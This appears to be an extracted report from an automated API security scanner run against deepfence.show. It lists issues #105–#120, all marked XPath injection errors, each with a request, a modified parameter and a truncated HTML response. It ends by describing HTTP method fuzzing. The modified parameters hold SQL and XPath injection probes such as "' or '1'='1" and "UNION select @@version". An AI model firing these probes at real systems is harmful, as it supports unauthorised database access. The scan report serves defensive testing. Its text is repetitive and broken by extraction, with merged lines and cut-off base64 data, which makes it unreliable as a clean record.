iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #105
Scan XPath Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #106
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '%20and%201=2%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #107
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' and 1=2 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #108
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io test%20UNION%20select%201,%20@@version,%201,
%201;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #109
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io test UNION select 1, @@version, 1, 1;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-643
Issue Number #110
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or name(//users/LoginID[1]) = 'LoginID' or 'a'='b
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #111
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #112
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1/0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #113
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '%20o/**/r%201/0%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #114
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' o/**/r 1/0 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #115
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #116
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '%20and%201=2%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #117
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' and 1=2 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #118
Scan XPath InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# test%20UNION%20select%201,%20@@version,%201,%
201;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #119
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# test UNION select 1, @@version, 1, 1;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-643
Issue Number #120
HTTP Method Fuzzing
An HTTP Method Fuzzing Scan attempts to use other HTTP verbs (methods) than those defined in 
an API. For instance, if you have defined GET and POST, it will send requests using the DELETE 
and PUT verbs, expecting an appropriate HTTP error response and reporting alerts if it doesn't 
receive it.
